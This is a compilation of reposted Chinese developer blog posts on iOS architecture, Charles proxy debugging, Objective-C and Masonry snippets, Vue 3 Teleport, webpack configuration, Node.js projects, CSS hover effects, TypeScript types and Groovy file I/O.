难受的代理就可以封装一个功能类比如我们常写的tableview collectionView的代理 我们就可以抽取出来封装为一个公共模块,一些特定的逻辑就可以利用适配器设计模式,根据相应的model消息转发



耦合性问题

经常我们在开发过程中会出现下面的线!


这样的线对我们重用性,灵活性造成了压力

这里我推荐大家使用不直接依赖model 利用发送消息的方式传递

MVP架构思想

MVP 全称:Model-View-Presenter ;MVP 是从经典的模式MVC演变而来,它们的基本思想有相通的地方:Controller/Presenter负责逻辑的处理,Model提供数据,View负责显示。

我最喜欢MVP的面向协议编程的思想!

根据产品相应的需求,写出其次需求的接口,然后根据接口去找我们响应的发起者,和接受者!面向协议编程---面向接口编程---面向需求编程---需求驱动代码!

MVP能够解决:

代码思路清晰

耦合度降低显著

通讯还算比较简单

缺点:

我们需要写很多关于代理相关的代码

视图和Presenter的交互会过于频繁

如果Presenter过多地渲染了视图,往往会使得它与特定的视图的联系过于紧密。一旦视图需要变更,那么Presenter也需要变更了

MVVM架构思想

MVVM是Model-View-ViewModel的简写。它本质上就是MVC 的改进版。MVVM 就是将其中的View 的状态和行为抽象化,让我们将视图 UI 和业务逻辑分开。当然这些事 ViewModel 已经帮我们做了,它可以取出 Model 的数据同时帮忙处理 View 中由于需要展示内容而涉及的业务逻辑

如果要说MVVM的特色,我觉得最大莫过于:双向绑定


经常我们在设计我们的架构的时候,ViewModel层会设计响应的反向Block回调,方便我们的数据更新,只需要我们回调Block,那么在相应代码块绑定的视图中就能获取到最新的数据!

这个时候我们要向完美实现正向传递,经常借助另一个非常牛逼的思想:响应式

如果要想完美实现双向绑定,那么KVO我不太建议,推荐玩玩ReactiveCocoa这个框架---编程思想之集大成者!如果你们在MVVM架构设计中嵌入响应式,那就是双剑合璧.

组件路由设计

在众多架构中,在解耦性方面我觉得组件化开发无意做的真心不错,大家经常在各个控制器跳转,就会像蜘蛛网一样错综复杂。


站在架构的层面就是把项目规矩化!条理化


根据合适的边界把这个项目进行组件模块化出来,利用cocoaPods来管理!在整体组件分层下面的模型给大家进行参考学习!


架构之路,无论在知识的深度还有广度方面都有较高的要求!尤其重要的对问题的的解决思维,不止在普通的应用层的ipa调用;需要大家对思维更加宽广,从代码上升到项目,到产品,甚至到公司!有时候你会很感觉很累很难,但是不将就注定不一样的你!

摘自作者:Cooci_和谐学习_不急不躁
原贴链接:https://www.jianshu.com/p/de6ebffdef86
收起阅读 »

Charles抓取iPhone接口数据

抓取HTTP请求安装Charles,自行百度安装我安装的版本是4.2.6的设置代理:Proxy->ProxySetting手机设置,手机跟电脑接同一个局域网,配置HTTP代理抓取HTTPS请求抓取请求需要安装SSL证书,Help->SSL Prox...
继续阅读 »

抓取HTTP请求

安装Charles,自行百度安装
我安装的版本是4.2.6的

设置代理:Proxy->ProxySetting


手机设置,手机跟电脑接同一个局域网,配置HTTP代理


抓取HTTPS请求

抓取请求需要安装SSL证书,Help->SSL Proxying,安装证书,根据提示在手机上输入指定url安装CA证书。



手机安装完后,默认是不信任的,需要手动信任以下该CA证书,打开设置,通用->关于本机->证书信任设置,打开开关信任即可


证书配置完毕后,charles默认是没有抓取Https请求的,在需要抓取的Https url右击,选中Enable SSL Proxy即可。

Charles视图简单讲解



转自:https://www.jianshu.com/p/82096a460e56


收起阅读 »

iOS 利用UserDefaults快速实现常用搜索页记录工具

1、需求分析存储内容为字符串存储内容要去重存储个数会有个上限存储个数达到上限后要先前挤掉旧数据,保留新数据调用动作一般为 存 / 读 / 清空全部2、实现.h文件// RPCustomTool.h// RollingPin//// Created by ...
继续阅读 »

1、需求分析

  • 存储内容为字符串
  • 存储内容要去重
  • 存储个数会有个上限
  • 存储个数达到上限后要先前挤掉旧数据,保留新数据
  • 调用动作一般为 存 / 读 / 清空全部

2、实现

.h文件

//  RPCustomTool.h
// RollingPin
//
// Created by RollingPin on 2020/12/31.
// Copyright © 2020 RollingPin. All rights reserved.
//
#import
#import
@interface RPCustomTool : NSObject
///
+ (void)saveHistoryString:(NSString *)saveStr;
/// 读
+ (NSArray *)readHistoryList;
/// 清空
+ (void)deleteHistoryList;
@end

.m文件

//  RPCustomTool.h
// RollingPin
//
// Created by RollingPin on 2020/12/31.
// Copyright © 2020 RollingPin. All rights reserved.
//
#import "RPCustomTool.h"
@implementation RPCustomTool

#pragma mark - 存
+ (void)saveHistoryString:(NSString *)saveStr
{
NSUserDefaults *userDefaults = [NSUserDefaults standardUserDefaults];
NSArray *savedArray = [userDefaults arrayForKey:@"RPSearchHistoryMark"];
NSMutableArray *savedMuArray = [[NSMutableArray alloc]initWithArray:savedArray];
//去重
NSString *repetitiveStr = @"";
for (NSString * oneStr in savedArray) {
if ([oneStr isEqualToString:saveStr]) {
repetitiveStr = oneStr;
break;
}
}
if (repetitiveStr.length >0) {
[savedMuArray removeObject:repetitiveStr];
}
[savedMuArray addObject:saveStr];
//设置最大保存数
if(savedMuArray.count > 10)
{
[savedMuArray removeObjectAtIndex:0];
}
//最后再存储到NSUserDefaults中
[userDefaults setObject:savedMuArray forKey:@"RPSearchHistoryMark"];
[userDefaults synchronize];
}
#pragma mark - 读
+ (NSArray *)readHistoryList
{
NSUserDefaults *userDefaults = [NSUserDefaults standardUserDefaults];
//读取数组NSArray类型的数据
NSArray *savedArray = [userDefaults arrayForKey:@"RPSearchHistoryMark"];
NSLog(@"savedArray======%@",savedArray);
return [savedArray copy];
}
#pragma mark - 清空
+ (void)deleteHistoryList
{
NSUserDefaults *userDefaults = [NSUserDefaults standardUserDefaults];
[userDefaults setObject:[NSArray array] forKey:@"RPSearchHistoryMark"];
[userDefaults synchronize];
}
@end


转自:https://www.jianshu.com/p/006bd3fbc044

收起阅读 »

UITableviewCell 使用Masonry撑开cell高度 遇见[LayoutConstraints] Unable to simultaneously satisfy constraints

1、问题描述在布局UITableviewCell 内容时, 可用使用Masonry方便的自动计算高度撑开布局,但是当遇到cell高度不同,多个复杂的子view竖向排列时,容易产生高度计算冲突问题导致报如下一坨2、解决办法使用 Masonry 的 priorit...
继续阅读 »

1、问题描述

在布局UITableviewCell 内容时, 可用使用Masonry方便的自动计算高度撑开布局,但是当遇到cell高度不同,多个复杂的子view竖向排列时,容易产生高度计算冲突问题导致报如下一坨


2、解决办法

使用 Masonry 的 priorityHigh 属性来确定优先级

/**
* Sets the NSLayoutConstraint priority to MASLayoutPriorityHigh
*/
- (MASConstraint * (^)(void))priorityHigh;

具体使用要设置 <最后一个子view> 的 bottom 属性 priorityHigh()

[self.lastView mas_makeConstraints:^(MASConstraintMaker *make) {
make.top.equalTo(self.topView.mas_bottom).offset(5);
make.left.equalTo(superView).offset(36);
make.right.equalTo(superView).offset(-16);
make.bottom.equalTo(self.contentView).offset(-16).priorityHigh();
}];

转自:https://www.jianshu.com/p/b334b69ab82e

收起阅读 »

Vue3 Teleport 简介,请过目,这个是真的好用

vue
关于 vue3 的一个新特性已经讨论了一段时间了,那就是 Portals(传送门) ,它的功能是将模板HTML移动到DOM不同地方的方法。Portals是React中的一个常见特性,Vue2 中可以使用portal-vue库。Vue3 中,提供了&n...
继续阅读 »

关于 vue3 的一个新特性已经讨论了一段时间了,那就是 Portals(传送门) ,它的功能是将模板HTML移动到DOM不同地方的方法。Portals是React中的一个常见特性,Vue2 中可以使用portal-vue库。

Vue3 中,提供了 Teleport 来支持这一功能。

Teleport 的目的

我首先要了解的是何时使用 Teleport 功能。

在处理较大的Vue项目时,有逻辑处理组织代码库是很重要的。 但是,当处理某些类型的组件(如模式,通知或提示)时,模板HTML的逻辑可能位于与我们希望渲染元素的位置不同的文件中。

实际上,在很多时候,与我们的Vue应用程序的DOM完全分开处理时,这些元素的管理要容易得多。 所有这些都是因为处理嵌套组件的位置,z-index和样式可能由于处理其所有父对象的范围而变得棘手。

这种情况就是 Teleport 派上用场的地方。 我们可以在逻辑所在的组件中编写模板代码,这意味着我们可以使用组件的数据或 props。 但是,然后完全将其渲染到我们Vue应用程序的范围之外。

如果不使用 Teleport,我们将不得不担心从子组件向DOM树传递逻辑的事件传播,但现在要简单得多。

Vue Teleport 是如何工作的

假设我们有一些子组件,我们想在其中触发弹出的通知。 正如刚才所讨论的,如果将通知以完全独立的DOM树渲染,而不是Vue的根#app元素,则更为简单。

我们要做的第一件事是打开我们的index.html,并在</body>之前添加一个<div>

// index.html
<body>
<div id="app"></div>
<div id='portal-target'></div>
</body>

接下来,创建触发要渲染的通知的组件。

// VuePortals.vue
<template>
<div class='portals'>
<button @click='showNotification'> Trigger Notification! </button>
<teleport to='#portal-target'>
<div v-if="isOpen" class='notification'>
This is rendering outside of this child component!
</div>
</teleport>
</div>
</template>

<script>
import { ref } from 'vue'
export default {
setup () {
const isOpen = ref(false)

var closePopup

const showNotification = () => {
isOpen.value = true

clearTimeout(closePopup)

closePopup = setTimeout(() => {
isOpen.value = false
}, 2000)
}

return {
isOpen,
showNotification
}
}
}
</script>

<style scoped>
.notification {
font-family: myriad-pro, sans-serif;
position: fixed;
bottom: 20px;
left: 20px;
width: 300px;
padding: 30px;
background-color: #fff;
}
</style>

在此代码段中,当按下按钮时,将渲染2秒钟的通知。 但是,我们的主要目标是使用Teleport获取通知以在我们的Vue应用程序外部渲染。

如你所见,Teleport具有一个必填属性- to

to 需要 prop,必须是有效的查询选择器或 HTMLElement (如果在浏览器环境中使用)。指定将在其中移动 <teleport> 内容的目标元素

由于我们在#portal-target中传递了代码,因此 Vue会找到包含在index.html中的#portal-target div,它会把 Teleport 内的所有代码渲染到该div中。

下面是运行的结果:



总结

以上就是Vue Teleport的基本介绍。 在不久的将来,后面会介绍一些更高级的用例,今天这篇开始使用此炫酷功能开始!

有关更深入的教程,查看Vue3文档

~完,我是刷碗智,我要去刷晚了,骨得白!


代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:https://segmentfault.com/a/1190000039745751

收起阅读 »

webpack踩坑记录

最近在学习webpack的一些配置,学习的期望就是通过可以通过webpack给html文件中引用的资源例如css、js、img文件加上版本号,避免由于浏览器的缓存造成线上请求的资源依旧是旧版本的东西。首先新建一个webpack的项目(默认大家已经安装node的...
继续阅读 »

最近在学习webpack的一些配置,学习的期望就是通过可以通过webpack给html文件中引用的资源例如css、js、img文件加上版本号,避免由于浏览器的缓存造成线上请求的资源依旧是旧版本的东西。

首先新建一个webpack的项目(默认大家已经安装node的了)

npm init

项目中安装webpack

npm webpack --save-dev
npm webpack-cli --save-dev

然后就可以开心的写代码了

首先讲解单个文件的打包配置

在项目的根目录下,新建一个webpack.config.js文件,

npm install --save-dev html-webpack-plugin mini-css-extract-plugin 
clean-webpack-plugin

现在逐一讲解各个plugin的作用:

  • html-webpack-plugin

当使用 webpack打包时,创建一个 html 文件,并把 webpack 打包后的静态文件自动插入到这个 html 文件当中,并且可以使用自定义的模版,例如html、pug、ejs,还可配置hash值等一些配置。
具体可配置的参数还是很多的,像title、meta等等,可参考webpack官网

  • mini-css-extract-plugin

webpack 4.0以后,把css样式从js文件中提取到单独的css文件中;
这在项目中的使用场景是把css文件在js文件中import进来,打包的时候该插件会识别到这个css文件,通过配置的路径参数生成一个打包后的css文件。

  • clean-webpack-plugin

是用于在下一次打包时清除之前打包的文件,可参考webpack官网

项目中用到的loader

  • babel-loader

Babel把用最新标准编写的 JavaScript代码向下编译成可以在今天随处可用的版本

  • html-loader

它默认处理html中的<img src="image.png">require("./image.png"),同时需要在你的配置中指定image文件的加载器,比如:url-loader或者file-loader

  • url-loader file-loader

用于解决项目中的图片打包问题,把图片资源打包进打包文件中,可修改对应的文件名和路径,url-loader比file-loader多一个可配置的limit属性,通过此参数,可配置若图片大小大于此参数,则用文件资源,小于此参数则用base64格式展示图片;

  • style-loader css-loader

打包css文件并插入到html文件中;

单页面打包webpack.config.js的配置
const HtmlWebpackPlugin = require("html-webpack-plugin");
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const {
CleanWebpackPlugin
} = require('clean-webpack-plugin');

const path = require("path");

module.exports = {
mode: "development",
entry: path.resolve(__dirname, './src/index.js'),

output: {
filename: "bundle.js",
path: path.resolve(__dirname, 'build'),
// libraryTarget: 'umd'
},
module: {
rules: [{
test: /\.html$/,
use: [{
loader: "html-loader",
options: {
attrs: ['img:src', 'link:href']
}
}]
},
{
test: /\.js$/,
use: {
loader: "babel-loader"
},
include: path.resolve(__dirname, '/src'),
exclude: /node_modules/,
},
{
test: /\.(jpg|png|gif|bmp|jpeg)$/,
use: [{
// loader: 'file-loader',
loader: 'url-loader',
options: {
limit: 8192,
// name: '[name].[ext]',
name: '[name]-[hash:8].[ext]',
outputPath: 'images/',

}
}]
},
{
test: /\.pug$/,
use: {
loader: 'pug-loader'
}
},
{
test: /\.css$/,
use: ['style-loader', MiniCssExtractPlugin.loader, 'css-loader']
},

],
},
plugins: [
new CleanWebpackPlugin(),


new HtmlWebpackPlugin({
hash: true,
template: "src/index.html",
// template: "src/index.pug",
filename: "bundle.html",
}),

new MiniCssExtractPlugin({
filename: "bundle.css",
chunkFilename: "index.css"
}),

],
}

多页面

在plugin中,有多个html-webpack-plugin插件的使用,可生成对应的打包后多个html文件

多页面打包webpack.config.js的配置
const getPath = require('./getPath')

const HtmlWebpackPlugin = require("html-webpack-plugin");
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const {
CleanWebpackPlugin
} = require('clean-webpack-plugin');

const path = require("path");


module.exports = {
mode: "development",
entry: {
main: './src/main/main.js',
side: './src/side/side.js',
// ...getPath.jsPathList,

},
output: {
path: path.resolve(__dirname, 'build'),
filename: 'js/[name].js',
publicPath: '../',
},
module: {
rules: [{
test: /\.html$/,
use: [{
loader: "html-loader",
options: {
attrs: ['img:src', 'link:href']
}
}, ]
},
{
test: /\.js$/,
use: [{
loader: "babel-loader",
options: {
presets: ['es2015']
}
}],
include: path.resolve(__dirname, '/src'),
exclude: /node_modules/,
},
{
test: /\.(jpg|png|gif|bmp|jpeg)$/,
use: [{
// loader: 'file-loader',
loader: 'url-loader',
options: {
limit: 8192,
name: '[name]-[hash:8].[ext]',
outputPath: './images', //指定放置目标文件的文件系统路径
publicPath: '../images',//指定目标文件的自定义公共路径
}
}]
},

{
test: /\.pug$/,
use: {
loader: 'pug-loader'
}
},
{
test: /\.css$/,
use: ['style-loader', MiniCssExtractPlugin.loader, 'css-loader']
},
]
},
plugins: [
new CleanWebpackPlugin(),
//输出html文件1
new HtmlWebpackPlugin({
hash: true,
template: "./src/main/main.html", //本地html文件模板的地址
filename: "html/main.html",
chunks: ['main'],
}),

new HtmlWebpackPlugin({
hash: true,
template: "./src/side/side.html",
filename: "html/side.html",
chunks: ['side'],
}),
// ...getPath.htmlPathList,

new MiniCssExtractPlugin({
filename: "css/[name].css",
chunkFilename: "./src/[name]/[name].css"
}),

]
}

当然也可以通过函数获取所有需要打包的文件的路径,动态在webpack的配置文件中插入

const glob = require("glob");
const path = require("path");
const HtmlWebpackPlugin = require("html-webpack-plugin");
/**
*
* @param {string} globPath 文件的路径
* @returns entries
*/


function getPath(globPath) {
let files = glob.sync(globPath);

let entries = {},
entry, dirname, basename, extname;

files.forEach(item => {
entry = item;
dirname = path.dirname(entry); //当前目录
extname = path.extname(entry); //后缀
basename = path.basename(entry, extname); //文件名
//文件路径
if (extname === '.html') {
entries[basename] = entry;
} else if (extname === '.js') {
entries[basename] = entry;
}
});

return entries;
}

const jsPath = getPath('./src/*/*.js');
const htmlPath = getPath('./src/*/*.html');
const jsPathList = {};
const htmlPathList = [];

console.log("jsPath", jsPath)

Object.keys(jsPath).forEach((item) => {
jsPathList[item] = path.resolve(__dirname, jsPath[item])
})

Object.keys(htmlPath).forEach((item) => {
htmlPathList.push(new HtmlWebpackPlugin({
hash: true,
template: htmlPath[item],
filename: `html/${item}.html`,
chunks: [item],
// chunks: [item, 'jquery'],
}))
})

// console.log("htmlPathList", htmlPathList)


module.exports = {
jsPathList,
htmlPathList
}

经过打包之后,某个文件夹下的html、css、jpg文件,会被分别打包放进build文件夹下的html文件夹、css文件夹和images文件夹,并且在html文件中引用的其他资源文件也加上了hash值作为版本号。

坑:

刚开始的时候url-loader和file-loader都是安装最新版本的,导致打包后图片的路径变成了<img src="[object Module]"/>
所以此项目用的"url-loader": "^2.1.0","file-loader": "^4.2.0"

点击打开项目github地址

原文链接:https://segmentfault.com/a/1190000021159257?utm_source=sf-similar-article

收起阅读 »

2021 年值得关注的 8 个 Node.js 项目

1. Cytoscape.js网站 https://js.cytoscape.org/这个用于可视化和图形分析的开源 JavaScript 库实现了丰富的交互功能。选择方形区域、平移、捏拉缩放等功能都是开箱即用。Cytoscape 可以用于 Node...
继续阅读 »

1. Cytoscape.js


网站 https://js.cytoscape.org/

这个用于可视化和图形分析的开源 JavaScript 库实现了丰富的交互功能。选择方形区域、平移、捏拉缩放等功能都是开箱即用。

Cytoscape 可以用于 Node.js 服务端环境完成图形分析任务,也可以在命令行下使用。有兴趣转向数据科学的开发者可以选择参与 Cytoscape 的开发,它的贡献指南和文档都很棒。

2. PDFKit

网站 https://pdfkit.org/

很有用的基于 Node 的 PDF 生成库,有助于创建复杂的 PDF 文件供下载,支持嵌入文本和字体、注解、矢量图形等特性。不过,这个项目的文档不算丰富,给它贡献代码有点困难。

3. Socket.IO


网站 https://socket.io/

提供双向、实时的基于事件的通讯机制,支持所有浏览器设备,也同样注重性能。比如,可以基于它开发一个简单的聊天应用。

服务端收到新消息后会发给客户端,客户端接收事件通知无需再额外发送新请求至服务端。

支持以下有用特性:

  • 二进制流
  • 实时分析
  • 文档协作

4. Strapi


网站 https://strapi.io/

开源内容管理系统,后端系统通过 REST 风格的 API 提供功能,项目的主要目标是在所有设备上交付结构化的内容。

这个项目支持许多特性,包括内置的邮件系统、文件上传、JSON Web Token 鉴权。基于 Strapi 构建的内容结构非常灵活,可供创建内容分组、定制 API。

5. Nest


网站 https://nestjs.com/

Nest 是很流行的创建高效、可伸缩的服务端应用的新一代框架。底层基于 Express 框架,使用 TypeScript 组合了函数式和面向对象的编程元素。其模块化的架构让你可以很灵活地使用各种库。

6. Date-fns

网站 https://date-fns.org/

date-fns 仍然是在 Node.js 和浏览器环境下处理 JavaScript 日期最简单一致的工具集,也和 browserify、webpack、rollup 等现代模块打包工具配合良好。社区支持非常好,所以支持的本地化区域非常多,各种功能都有详细描述和示例。

7. SheetJS

网站 https://sheetjs.com/

这个 Node.js 库可以处理 Excel 电子表格,以及其他相关功能。比如,导出表格、转换 HTML 表格和 JSON 数组为 xlsx 文件。社区很大,贡献指南的文档也很棒。

8. Express.js


网站 https://expressjs.com/

这是最流行的 Node.js 开源项目之一,它能够高效处理 HTTP 请求,基于 JavaScript 这一同时适用于服务端和浏览器的语言,因此价值巨大。

它是开发高速、安全的应用的利器。

基本特性:

  1. 支持不同的扩展和插件
  2. 基于 HTTP 方法和 URL 的路由机制
  3. 无缝集成数据库

感谢 Adrian Twarog [@adriantwarog] 的细致讲解

请看视频 👇

youtube: 8 Node.js Projects to Keep An Eye On 2021


本文系转载,阅读原文
https://nextfe.com/8-node-js-projects-2021/
收起阅读 »

两种纯CSS方式实现hover图片pop-out弹出效果

主要图形的组成元素由背景和前景图两个元素,以下示例代码中,背景元素使用伪元素 figure::before 表示, 前景元素使用 figure img 表示,当鼠标hover悬浮至figure元素时,背景元素产生变大效果...
继续阅读 »

主要图形的组成元素由背景和前景图两个元素,以下示例代码中,背景元素使用伪元素 figure::before 表示, 前景元素使用 figure img 表示,当鼠标hover悬浮至figure元素时,背景元素产生变大效果,前景元素产生变大并向上移动效果,从而从视觉上实现弹出效果。

背景元素 figure::before


前景元素 figure img

1. 使用 overflow: hidden 方式

主体元素的 html 结构由一个 figure 元素包裹的 img 元素构成:

<figure>
<img src='./man.png' alt='Irma'>
</figure>

在 css 中设置了两个变量 --hov 和 --not-hov 用于控制 hover 元素时的放大以及位移效果。并对 figure 元素添加 overflow: hidden,设置 padding-top: 5% 用于前景元素超出背景元素时不被截断(非必需:并使用了 clamp() 函数用来动态设定 border-radius 以动态响应页面缩放)

figure {
--hov: 0;
--not-hov: calc(1 - var(--hov));
display: grid;
place-self: center;
margin: 0;
padding-top: 5%;
transform: scale(calc(1 - .1*var(--not-hov)));
overflow: hidden;
border-radius: 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em);
}
figure::before, figure img {
grid-area: 1/1;
place-self: end center;
}
figure::before {
content: "";
padding: clamp(4em, 20vw, 15em);
border-radius: 50%;
background: url('./bg.png') 50%/cover;
}
figure:hover {
--hov: 1;
}
img {
width: calc(2*clamp(4em, 20vw, 15em));
border-radius: clamp(4em, 20vw, 15em);
transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
}


2. 使用 clip-path: inset() 方式

<figure>
<img src='./man.png' alt='Irma'>
</figure>

样式基本上与第一种相同,使用 clip-path 来截取圆形背景区域。

figure {
--hov: 0;
--not-hov: calc(1 - var(--hov));
display: grid;
place-self: center;
margin: 0;
padding-top: 5%;
transform: scale(calc(1 - .1*var(--not-hov)));
clip-path: inset(0 round 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em));
}
figure::before, figure img {
grid-area: 1/1;
place-self: end center;
}
figure::before {
content: "";
padding: clamp(4em, 20vw, 15em);
border-radius: 50%;
background: url('./bg.png') 50%/cover;
}
figure:hover {
--hov: 1;
}
figure:hover::before {
box-shadow: 1px 1px 10px rgba(0, 0, 0, .3);
}
img {
width: calc(2*clamp(4em, 20vw, 15em));
border-radius: clamp(4em, 20vw, 15em);
transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
}

完整示例

<h2>使用overflow: hidden方式</h2>
<figure>
<img src='./man.png' alt='Irma'>
</figure>
<h2>使用clip-path: path()方式</h2>
<figure>
<img src='./man.png' alt='Irma'>
</figure>

body {
display: grid;
background: #FDFC47;
background: -webkit-linear-gradient(to right, #24FE41, #FDFC47);
background: linear-gradient(to right, #24FE41, #FDFC47);
}
figure {
--hov: 0;
--not-hov: calc(1 - var(--hov));
display: grid;
place-self: center;
margin: 0;
padding-top: 5%;
transform: scale(calc(1 - .1*var(--not-hov)));
}
figure:nth-of-type(1) {
overflow: hidden;
border-radius: 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em);
}
figure:nth-of-type(2) {
clip-path: inset(0 round 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em));
}
figure, figure img {
transition: transform 0.2s ease-in-out;
}
figure::before, figure img {
grid-area: 1/1;
place-self: end center;
}
figure::before {
padding: clamp(4em, 20vw, 15em);
border-radius: 50%;
background: url('./bg.png') 50%/cover;
content: "";
transition: .25s linear;
}
figure:hover {
--hov: 1;
}
figure:hover::before {
box-shadow: 1px 1px 10px rgba(0, 0, 0, .3);
}
img {
width: calc(2*clamp(4em, 20vw, 15em));
border-radius: clamp(4em, 20vw, 15em);
transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
}

原文链接:https://segmentfault.com/a/1190000039830020

收起阅读 »

TypeScript Interface vs Type知多少

接口和类型别名非常相似,在大多情况下二者可以互换。在写TS的时候,想必大家都问过自己这个问题,我到底应该用哪个呢?希望看完本文会给你一个答案。知道什么时候应该用哪个,首先应该了解二者之间的相同点和不同点,再做出选择。接口 vs 类型别名 相同点1. 都可以用来...
继续阅读 »

接口和类型别名非常相似,在大多情况下二者可以互换。在写TS的时候,想必大家都问过自己这个问题,我到底应该用哪个呢?希望看完本文会给你一个答案。知道什么时候应该用哪个,首先应该了解二者之间的相同点和不同点,再做出选择。

接口 vs 类型别名 相同点

1. 都可以用来描述对象或函数

interface Point {
x: number
y: number
}

interface SetPoint {
(x: number, y: number): void;
}
type Point = {
x: number;
y: number;
};

type SetPoint = (x: number, y: number) => void;

2. 都可以扩展

两者的扩展方式不同,但并不互斥。接口可以扩展类型别名,同理,类型别名也可以扩展接口。

接口的扩展就是继承,通过 extends 来实现。类型别名的扩展就是交叉类型,通过 & 来实现。

// 接口扩展接口
interface PointX {
x: number
}

interface Point extends PointX {
y: number
}
// 类型别名扩展类型别名
type PointX = {
x: number
}

type Point = PointX & {
y: number
}
// 接口扩展类型别名
type PointX = {
x: number
}
interface Point extends PointX {
y: number
}
// 类型别名扩展接口
interface PointX {
x: number
}
type Point = PointX & {
y: number
}

接口 vs 类型别名不同点

1. 类型别名更通用(接口只能声明对象,不能重命名基本类型)

类型别名的右边可以是任何类型,包括基本类型、元祖、类型表达式(&|等类型运算符);而在接口声明中,右边必须为结构。例如,下面的类型别名就不能转换成接口:

type A = number
type B = A | string

2. 扩展时表现不同

扩展接口时,TS将检查扩展的接口是否可以赋值给被扩展的接口。举例如下:

interface A {
good(x: number): string,
bad(x: number): string
}
interface B extends A {
good(x: string | number) : string,
bad(x: number): number // Interface 'B' incorrectly extends interface 'A'.
// Types of property 'bad' are incompatible.
// Type '(x: number) => number' is not assignable to type '(x: number) => string'.
// Type 'number' is not assignable to type 'string'.
}

但使用交集类型时则不会出现这种情况。我们将上述代码中的接口改写成类型别名,把 extends 换成交集运算符 &,TS将尽其所能把扩展和被扩展的类型组合在一起,而不会抛出编译时错误。

type A = {
good(x: number): string,
bad(x: number): string
}
type B = A & {
good(x: string | number) : string,
bad(x: number): number
}

3. 多次定义时表现不同

接口可以定义多次,多次的声明会合并。但是类型别名如果定义多次,会报错。

interface Point {
x: number
}
interface Point {
y: number
}
const point: Point = {x:1} // Property 'y' is missing in type '{ x: number; }' but required in type 'Point'.

const point: Point = {x:1, y:1} // 正确
type Point = {
x: number // Duplicate identifier 'A'.
}

type Point = {
y: number // Duplicate identifier 'A'.
}

到底应该用哪个

如果接口和类型别名都能满足的情况下,到底应该用哪个是我们关心的问题。感觉哪个都可以,但是强烈建议大家只要能用接口实现的就优先使用接口,接口满足不了的再用类型别名。

为什么会这么建议呢?其实在TS的wiki中有说明。具体的文章地址在这里

以下是Preferring Interfaces Over Intersections的译文:



上述的几个区别从字面上理解还是有些绕,下面通过具体的列子来说明。

interface Point1 {
x: number
}

interface Point extends Point1 {
x: string // Interface 'Point' incorrectly extends interface 'Point1'.
// Types of property 'x' are incompatible.
// Type 'string' is not assignable to type 'number'.
}
type Point1 = {
x: number
}

type Point2 = {
x: string
}

type Point = Point1 & Point2 // 这时的Point是一个'number & string'类型,也就是never

从上述代码可以看出,接口继承同名属性不满足定义会报错,而相交类型就是简单的合并,最后产生了 number & string 类型,可以解释译文中的第一点不同,其实也就是我们在不同点模块中介绍的扩展时表现不同。

再来看下面例子:

interface PointX {
x: number
}

interface PointY {
y: number
}

interface PointZ {
z: number
}

interface PointXY extends PointX, PointY {
}

interface Point extends PointXY, PointZ {

}
const point: Point = {x: 1, y: 1} // Property 'z' is missing in type '{ x: number; y: number; }' but required in type 'Point'
type PointX = {
x: number
}

type PointY = {
y: number
}

type PointZ = {
z: number
}

type PointXY = PointX & PointY

type Point = PointXY & PointZ

const point: Point = {x: 1, y: 1} // Type '{ x: number; y: number; }' is not assignable to type 'Point'.
// Property 'z' is missing in type '{ x: number; y: number; }' but required in type 'Point3'.

从报错中可以看出,当使用接口时,报错会准确定位到Point。
但是使用交叉类型时,虽然我们的 Point 交叉类型是 PointXY & PointZ, 但是在报错的时候定位并不在 Point 中,而是在 Point3 中,即使我们的 Point 类型并没有直接引用 Point3 类型。

如果我们把鼠标放在交叉类型 Point 类型上,提示的也是 type Point = PointX & PointY & PointZ,而不是 PointXY & PointZ

这个例子可以同时解释译文中第二个和最后一个不同点。

结论

有的同学可能会问,如果我不需要组合只是单纯的定义类型的时候,是不是就可以随便用了。但是为了代码的可扩展性,建议还是优先使用接口。现在不需要,谁能知道后续需不需要呢?所以,让我们大胆的使用接口吧~

原文链接:https://segmentfault.com/a/1190000039834284


收起阅读 »

深度探索 Gradle 自动化构建技术(二、Groovy 筑基篇)(3)

四、文件处理 1、常规文件处理 1)、读文件 eachLine 方法 我们可以使用 eachLine 方法读该文件中的每一行,它唯一的参数是一个 Closure,Closure 的参数是文件每一行的内容。示例代码如下所示: def file = new Fil...
继续阅读 »

四、文件处理


1、常规文件处理


1)、读文件


eachLine 方法


我们可以使用 eachLine 方法读该文件中的每一行,它唯一的参数是一个 Closure,Closure 的参数是文件每一行的内容。示例代码如下所示:


def file = new File(文件名)
file.eachLine{ String oneLine ->
println oneLine
}

def text = file.getText()
def text2 = file.readLines()

file.eachLine { oneLine, lineNo ->
println "${lineNo} ${oneLine}"
}
复制代码

然后,我们可以使用 'targetFile.bytes' 直接得到文件的内容。


使用 InputStream


此外,我们也可以通过流的方式进行文件操作,如下代码所示:


//操作 ism,最后记得关掉
def ism = targetFile.newInputStream()
// do sth
ism.close
复制代码

使用闭包操作 inputStream


利用闭包来操作 inputStream,其功能更加强大,推荐使用这种写法,如下所示:


targetFile.withInputStream{ ism ->
// 操作 ism,不用 close。Groovy 会自动替你 close
}
复制代码

2)、写文件


关于写文件有两种常用的操作形式,即通过 withOutputStream/withInputStream 或 withReader/withWriter 的写法。示例代码如下所示:


通过 withOutputStream/、withInputStream copy 文件


def srcFile = new File(源文件名)
def targetFile = new File(目标文件名) targetFile.withOutputStream{ os->
srcFile.withInputStream{ ins->
os << ins //利用 OutputStream 的<<操作符重载,完成从 inputstream 到 OutputStream //的输出
}
}
复制代码

通过 withReader、withWriter copy 文件


def copy(String sourcePath, String destationPath) {
try {
//首先创建目标文件
def desFile = new File(destationPath)
if (!desFile.exists()) {
desFile.createNewFile()
}

//开始copy
new File(sourcePath).withReader { reader ->
def lines = reader.readLines()
desFile.withWriter { writer ->
lines.each { line ->
writer.append(line + "\r\n")
}
}
}
return true
} catch (Exception e) {
e.printStackTrace()
}
return false
}
复制代码

